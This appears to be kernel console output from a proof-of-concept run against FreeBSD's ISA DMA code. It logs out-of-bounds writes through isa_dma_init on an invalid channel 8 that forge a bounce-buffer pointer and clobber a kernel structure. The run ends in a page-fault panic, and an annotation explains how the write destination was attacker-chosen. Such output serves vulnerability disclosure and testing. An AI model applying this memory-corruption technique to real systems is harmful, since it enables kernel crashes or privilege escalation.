df5519p: isa_dma_acquire(0) = 0
df5519p: isa_dma_init(0,1024) = 0 (dma_bouncebuf[0] = valid ptr, size=1024)
df5519p: isa_dma_init(8,0x1000) = 0
df5519p:   OOB write #1: dma_bouncebufsize[8] -> &dma_bouncebuf[0] low32 := 0x1000 (forged)
df5519p:   OOB write #2: dma_bouncebuf[8]     -> &ram_devclass (devclass_t clobbered)
df5519p: isa_dmastart(WRITE, hibuf, 256, chan=0): bounce path bcopy()s 256 bytes to the FORGED pointer -- expect page fault panic


Fatal trap 12: page fault while in kernel mode
cpuid = 2; lapic id = 2
fault virtual address	= 0xffffffff00001000
fault code		= supervisor write data, page not present
instruction pointer	= 0x8:0xffffffff80bca92b
stack pointer	        = 0x10:0xfffff801185f5780
frame pointer	        = 0x10:0xfffff801185f57c8
code segment		= base 0x0, limit 0xfffff, type 0x1b
			= DPL 0, pres 1, long 1, def32 0, gran 1
processor eflags	= interrupt enabled, resume, IOPL = 0
current process		= 1034
current thread          = pri 6 
kernel: type 12 trap, code=2

CPU2 stopping CPUs: 0x0000003b
 stopped
Stopped at      memmove+0x2b:   movq    %rdx,(%rdi)
db> 

---
# NOTE: fault VA 0xffffffff00001000 = (original dma_bouncebuf[0] & 0xffffffff00000000)
#       | bouncebufsize param (0x1000) written OOB by isa_dma_init(8, 0x1000).
#       The bcopy destination was chosen by the out-of-bounds static write.